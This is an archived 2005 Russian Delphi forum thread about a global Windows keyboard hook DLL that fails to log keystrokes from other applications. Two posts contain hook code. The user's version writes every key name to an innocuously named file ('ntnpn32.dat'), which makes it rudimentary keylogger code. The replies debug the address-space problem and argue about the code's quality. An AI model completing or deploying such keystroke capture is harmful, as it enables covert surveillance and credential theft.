Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2005.02.20;
Скачать: [xml.tar.bz2];

Вниз

Проблемы с SetWindowHookEx   Найти похожие ветки 

 
KASioZ   (2005-01-02 11:09) [0]

Здравствуйте ув. программисты
У меня следующая проблема:
Я устанавливаю глобальную ловушку в системе.
В глобальной ловушке я ловлю все сообщения сис-мы, проверяю сообщение, если сообщение WM_KeyDown, то сохраняем в локальный файл нажатые клавиши.
Почему то моя программа сохраняет данные только в случае если моё приложение активно! Хотя хук глобальный и клавиши передаются в обработчик событий!
Это я проверяю ShowMessage, работает всегда.
Вот код DLL:

library myhookdll;

uses
 SysUtils,
 Windows,
 Dialogs,
 Messages;

var
 HookHandle: HHOOK = 0;
 F: File;

{$R *.res}

function KeyHook(code: integer; wParam: word; lParam: longword): longword; stdcall;
var
buff: array [1..100] of char;
begin
if TMsg(Pointer(lParam)^).message = WM_KeyDown then
       begin
       GetKeyNameText(TMsg(Pointer(lParam)^).lParam, @buff, SizeOf(buff));
       BlockWrite(F,buff,1);
       ShowMessage(StrPas(@buff));
       end;
result:=CallNextHookEx(HookHandle,code,wParam,lparam);
end;

procedure SetKeyHook; export; stdcall;
begin
AssignFile(f,"ntnpn32.dat");
if FileExists("ntnpn32.dat") then Reset(F,1)
else Rewrite(F,1);
if HookHandle = 0 then HookHandle:=SetWindowsHookEx(WH_GETMESSAGE,@KeyHook,hInstance, 0);
end;

procedure UnSetKeyHook; export; stdcall;
begin
CloseFile(F);
if HookHandle <> 0 then UnhookWindowsHookEx(HookHandle);
HookHandle:=0;
end;

exports

SetKeyHook name "SetKeyHook",
UnSetKeyHook name "UnSetKeyHook";

begin
end.

Вот код загрузчика:

procedure TForm1.FormCreate(Sender: TObject);
begin
SetKeyHook;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
UnSetKeyHook;
end;


 
Vaitek ©   (2005-01-02 12:31) [1]

Не знаю, у меня такой работал.

library Key;

uses
 WinTypes,
 WinProcs,
 Messages,
 SysUtils,
 Classes;

const
KeyEvent = WM_USER + 1;

var
HookHandle: hHook;
wnd: hWnd;

{$R *.res}

function KeyHook(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
begin
 if Code >= 0 then
 begin
   wnd := FindWindow("TSVMain", nil);
   SendMessage(wnd, KeyEvent, wParam, lParam);
   Result := 0;
 end else
   Result := CallNextHookEx(HookHandle, code, WParam, LParam);
end;

procedure SetKeyHook;
begin
 HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, HInstance, 0);
end;

procedure DelKeyHook;
begin
 if HookHandle <> 0 then
   UnhookWindowsHookEx(HookHandle);
end;

exports
 SetKeyHook index 1,
 DelKeyHook index 3;

Begin
end.

А в главном окне программы обрабатывал

procedure WM_NextMSG(var Msg: TMessage); message KeyEvent;


 
Piter ©   (2005-01-02 13:25) [2]

перед тем как разбираться с хуками, весьма желательно изучить более простые вещи - например, что такое ВАП и все с ним связанное.

Что касается хуков - есть статья на это сайте по хукам.


 
Piter ©   (2005-01-02 13:27) [3]

Vaitek ©   (02.01.05 12:31) [1]

зачем выкладывать какой-то код, если ты в этом коде ни фига не разбираешься и только можешь подать плохой пример?


 
Vaitek ©   (2005-01-02 13:47) [4]

Почему плохой пример?
Во-первых он списан со статьи на этом сайте.
Во-вторых он работает. Могу прислать прогу, если интересно, целиком.
Ну а в третьих, что такое ВАП? Случаем не winapi?


 
KASioZ   (2005-01-02 15:00) [5]

Во первых код не списан
Во вторых я понимаю абсолютно каждую строчку
А в третьих лучше помогите разобратся с проблемой
а кто сможет замыльте рабочие сырцы на fakom@Mail.ru


 
VMcL ©   (2005-01-02 15:07) [6]

>>KASioZ  (02.01.05 11:09)

>Проблемы с SetWindowHookEx

Нет такой функции в WinAPI. Есть SetWindowsHookEx.

По поводу вопроса, смотрите, как и порекомендовал Piter, статью:
http://www.delphimaster.ru/articles/hooks/index.html

>>Vaitek ©  (02.01.05 13:47) [4]

>Почему плохой пример?

Потому что неправильный.

>Во-первых он списан со статьи на этом сайте.

Верно. Из примера, взятого из example.zip::Example1\hook_dll1.dpr, где в заголовке написано:
// Demo of wrong hook - DLL module //
К тому же ясно, что статью Вы не читали, потому что в ней об этом написано:
>Думаю, теперь, разобравшись в исходных кодах библиотек из первого примера, вы поняли, как НЕ надо писать DLL, из которых вы устанавливаете глобальные ловушки.

>Во-вторых он работает.

Смотря на какой версии Windows.


 
VMcL ©   (2005-01-02 15:09) [7]

>>Vaitek ©  (02.01.05 13:47) [4]

P.S.
>Ну а в третьих, что такое ВАП? Случаем не winapi?

Случаем не winapi. А случаем, Виртуальное адресное пространство.


 
Vaitek ©   (2005-01-02 15:39) [8]

Ну ладно, ладно, где моя походная лопата, пора выкапываться из асфальта. На 2003 винде работает, на ХР тоже.

С замечанием согласен, хотя, как выяснилось, пример я взял не из статьи, а тот что мне вот так же написали на форуме. Давно это было, подзабыл. Так что сорри, за не совсем корекктный пример.


 
KASioZ   (2005-01-02 17:01) [9]

Эту статью я тоже читал!
Но где ошибка ?
Ведь всё делается верно!
ShowMessage(); возращает нормальный результат
а вот в файл почему то не пишет
как будто переменная пуста
А надо чтобы работало под платформой WinNT (NT, 2K, XP, 2K3).
И причем сдесь адресное пространство ?
Ловушка то глобальная


 
Vaitek ©   (2005-01-02 17:23) [10]

Там глючокс, когда две копии проги сапускаешь. Я об этом как-то не подумал.


 
Piter ©   (2005-01-02 17:28) [11]

KASioZ   (02.01.05 17:01) [9]
Эту статью я тоже читал!


это ты моим тапочкам рассказывать будешь, что ЧИТАЛ (а не просматривал) статью.

Ну ясен пень, супер хакеры не смотрят на всякие там диаграммы и рисунки, и параграфы пояснительные к этим диаграммам не читают - нафиг надо? Там что-то сложновато читать, термины непонятные... Лучше просто не читать это место, а потом на форуме кричать "почему не работает?!"


 
Piter ©   (2005-01-02 17:30) [12]

Vaitek ©   (02.01.05 17:23) [10]
Там глючокс, когда две копии проги сапускаешь


там "глючокс" не только в этом


 
KASioZ   (2005-01-03 18:01) [13]

А моим тапочкам ты будешь рассказывать
Что там есть причина неработоспособности DLL
И если ты такой читалец статей, то лучше помог бы!
Я на форумах не просто треплюсь а помогаю по возможности!
Vaitek а что за глюк ?
Когда 2 копии пускаешь ?
Хммм да мне и не нужно 2 копии пускать
и пускаться они не будут


 
Piter ©   (2005-01-03 18:47) [14]

поразительно как люди готовы целыми днями выпрашивать ответ в форуме, а в тоже время заглянуть в статью и за полчаса разобраться не хотят...


 
Vaitek ©   (2005-01-03 20:34) [15]

Не стоит думать обо всех в серых тонах. Я в статью заглянул, сравнил код со своим, понял что ошибался, но разбираться мне влом, поскольку сейчас мне это совершенно не интересно.


 
Davinchi ©   (2005-01-03 20:57) [16]

Тя пракильно уже направляли, у меня была подобная проблема - все дело в адресном пространстве, которое занимает твоя ДЛЛ когда ты ее загружаешь, те нужен объект файлового отображения и лучше храни дескриптер полученый от SetWindowsHookEx....
Перечитай статью именно на этом моменте....


 
kaZaNoVa ©   (2005-01-03 21:55) [17]

Davinchi ©   (03.01.05 20:57) [16]

> лучше храни дескриптер полученый от SetWindowsHookEx

ЛЮДИ, не парьтесь - указано же Win2k, WinXP - 0 надо ставить:))))


 
GuAV ©   (2005-01-03 22:19) [18]

kaZaNoVa ©   (03.01.05 21:55) [17]
ЛЮДИ, не парьтесь - указано же Win2k, WinXP - 0 надо ставить:))))


а в MSDN это написано ?


 
kaZaNoVa ©   (2005-01-03 22:21) [19]

GuAV ©   (03.01.05 22:19) [18]
ага, имхо можно 0 передавать в виндах 2000 и выше :)))


 
GuAV ©   (2005-01-03 22:40) [20]

Да, уже вижу
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookre ference/hookfunctions/callnexthookex.asp
Первый параметр Ignored. Но ведь в 9х не Ignored !


 
kaZaNoVa ©   (2005-01-03 22:43) [21]

GuAV ©   (03.01.05 22:40) [20]
забей на 9х =)


 
Eraser ©   (2005-01-03 23:44) [22]

Absolutly correct )))



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2005.02.20;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.5 MB
Время: 0.038 c
3-1106489170
Mamed
2005-01-23 17:06
2005.02.20
TQRCompositeReport


3-1106060831
Prohodil Mimo
2005-01-18 18:07
2005.02.20
Почему могут глючить триггера в IB6x?


4-1104895906
DmiSb
2005-01-05 06:31
2005.02.20
2 проблемы с DrawText


14-1107266227
AlexG
2005-02-01 16:57
2005.02.20
Что мне добавить и нравится ли структура?


3-1106037802
}|{yk
2005-01-18 11:43
2005.02.20
Что бы это значило?





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский